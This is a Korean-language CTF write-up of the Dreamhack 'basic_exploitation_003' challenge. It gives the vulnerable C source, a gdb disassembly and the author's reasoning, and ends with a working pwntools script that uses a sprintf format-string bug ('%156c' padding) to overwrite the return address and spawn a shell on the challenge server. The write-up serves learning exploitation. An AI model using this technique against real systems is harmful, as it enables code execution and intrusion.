[pwnable] basic_exploitation_003
바로 소스코드를 보자!
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
뭐가 많이 늘었다. heap_buf에 동적할당을 하고, stack_buf에 heap_buf를 집어넣는다.
read()도 heap의 크기(0x80)만큼 읽어오고, stack_buf가 더 커서 Buffer Overflow가 발생하지 않을거 같은데..
printf에서도 올바르게 서식 지정자가 설정되어있어 위험해보이지는 않는다.
그렇지만! sprintf에서 Format String Bug가 일어난다면??
오, 뭔가 에러가 발생했다. 역시 Buffer Overflow는 무작정 때려봐야지!
sprintf를 이용해서 무언가를 해야한다는 건 알아냈다.
gdb-peda$ disas main
Dump of assembler code for function main:
0x0804867c <+0>: push ebp
0x0804867d <+1>: mov ebp,esp
0x0804867f <+3>: push edi
0x08048680 <+4>: sub esp,0x94
0x08048686 <+10>: push 0x80
0x0804868b <+15>: call 0x8048490 <malloc@plt>
0x08048690 <+20>: add esp,0x4
0x08048693 <+23>: mov DWORD PTR [ebp-0x8],eax
0x08048696 <+26>: lea edx,[ebp-0x98]
0x0804869c <+32>: mov eax,0x0
0x080486a1 <+37>: mov ecx,0x24
0x080486a6 <+42>: mov edi,edx
0x080486a8 <+44>: rep stos DWORD PTR es:[edi],eax
0x080486aa <+46>: call 0x8048622 <initialize>
0x080486af <+51>: push 0x80
0x080486b4 <+56>: push DWORD PTR [ebp-0x8]
0x080486b7 <+59>: push 0x0
0x080486b9 <+61>: call 0x8048450 <read@plt>
0x080486be <+66>: add esp,0xc
0x080486c1 <+69>: push DWORD PTR [ebp-0x8]
0x080486c4 <+72>: lea eax,[ebp-0x98]
0x080486ca <+78>: push eax
0x080486cb <+79>: call 0x80484f0 <sprintf@plt>
0x080486d0 <+84>: add esp,0x8
0x080486d3 <+87>: lea eax,[ebp-0x98]
0x080486d9 <+93>: push eax
0x080486da <+94>: push 0x8048791
0x080486df <+99>: call 0x8048460 <printf@plt>
0x080486e4 <+104>: add esp,0x8
0x080486e7 <+107>: mov eax,0x0
0x080486ec <+112>: mov edi,DWORD PTR [ebp-0x4]
0x080486ef <+115>: leave
0x080486f0 <+116>: ret
End of assembler dump.
자세히 한번 뜯어보자
stack_buf의 크기가 0x98인건 알아냈다. Dummy가 0x8로 보인다.
전 문제에서 했던 것 처럼 문제를 풀어보자.
일단, sprintf에서 FSB가 발생하니 그 다음 실행되는 함수 printf의 GOT 주소를 덮어쓰면 쉘을 획득할 수 있을 것이다.
>>> exe.symbols['get_shell']
134514281
>>> hex(exe.symbols['get_shell'])
'0x8048669'
>>> exe.symbols['got.printf']
134520848
>>> hex(exe.symbols['got.printf'])
'0x804a010'
음.. 뭔가 되는 건가 싶기도 한데.. 이상하다.
뭔가 잘못됐다. RET 주소가 조작되는 것처럼 보였는데 이건 그냥 에러인데..
다시 처음부터 해보자!
read()가 실행되고 마지막으로 넣는 \x0a가 보이는 걸로 봐서는 잘 되는거 같긴 한데..
STACK(144바이트) + DUMMY(8바이트) + SFP(4바이트) + RET(4바이트) 정도로 생각하면..
그냥 저기다가 주소를 넣으면 될 거 같다는 생각이 든다.
아.. 잘되네.
애초에 생각을 잘못했었던 것 같다.
heap_buf에 입력된 서식 지정자가 출력되면서 stack_buf를 채우게 되고, 0x98을 넘어서서 RET 주소를 덮어써서 get_shell을 실행 시키는 것으로 보인다.
pwntools를 안쓰고 바로 해봤다. 잘 되네..
from pwn import *
host = "host1.dreamhack.games"
port = 10950
get_shell = 134514281
p = remote(host, port)
payload = b"%156c" + p32(get_shell)
p.sendline(payload)
p.interactive()
그래도 연습겸 써보면 위와 같이 짤 수 있다.